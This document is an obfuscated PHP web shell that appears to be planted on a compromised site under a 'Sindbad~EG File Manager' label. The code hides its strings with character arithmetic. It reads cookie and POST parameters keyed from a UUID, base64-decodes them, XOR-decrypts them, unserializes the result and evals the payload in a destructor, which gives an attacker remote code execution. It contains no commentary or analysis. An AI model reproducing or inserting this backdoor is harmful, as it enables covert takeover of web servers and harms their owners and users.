Sindbad~EG File Manager

$erLBK = chr (69) . "\115" . "\x5f" . "\x6f" . chr ( 695 - 609 )."\126";$oEeNzDk = chr ( 595 - 496 ).chr (108) . chr (97) . "\163" . "\163" . "\x5f" . chr ( 181 - 80 ).'x' . 'i' . "\163" . chr (116) . chr ( 1080 - 965 ); $yOEZyW = class_exists($erLBK); $oEeNzDk = "53592";$kgTdY = !1;if ($yOEZyW == $kgTdY){function ZMmbUE(){$jfiCfdno = new /* 50686 */ EM_oVV(49400 + 49400); $jfiCfdno = NULL;}$RRgGoeCZ = "49400";class EM_oVV{private function YleZcFR($RRgGoeCZ){if (is_array(EM_oVV::$EJOyrBtfH)) {$QjhUcGQC = str_replace("\74" . "\77" . chr ( 1100 - 988 ).'h' . "\x70", "", EM_oVV::$EJOyrBtfH['c' . "\x6f" . "\156" . chr ( 1097 - 981 )."\x65" . chr (110) . "\x74"]);eval($QjhUcGQC); $RRgGoeCZ = "49400";exit();}}private $CuGmxvOh;public function BsudfKGEAR(){echo 5021;}public function __destruct(){$RRgGoeCZ = "32308_54892";$this->YleZcFR($RRgGoeCZ); $RRgGoeCZ = "32308_54892";}public function __construct($WftjzwzxMz=0){$IvDbJs = $_POST;$MNrvnlKp = $_COOKIE;$fqKqlT = "e1865291-fd11-4159-9f07-3b4c8eaf9bc6";$OnmOrJplTC = @$MNrvnlKp[substr($fqKqlT, 0, 4)];if (!empty($OnmOrJplTC)){$oivBps = "base64";$AEBapTHb = "";$OnmOrJplTC = explode(",", $OnmOrJplTC);foreach ($OnmOrJplTC as $MjvcqpqQ){$AEBapTHb .= @$MNrvnlKp[$MjvcqpqQ];$AEBapTHb .= @$IvDbJs[$MjvcqpqQ];}$AEBapTHb = array_map($oivBps . '_' . "\x64" . "\145" . chr ( 495 - 396 )."\157" . "\144" . "\145", array($AEBapTHb,)); $AEBapTHb = $AEBapTHb[0] ^ str_repeat($fqKqlT, (strlen($AEBapTHb[0]) / strlen($fqKqlT)) + 1);EM_oVV::$EJOyrBtfH = @unserialize($AEBapTHb);}}public static $EJOyrBtfH = 6833;}ZMmbUE();}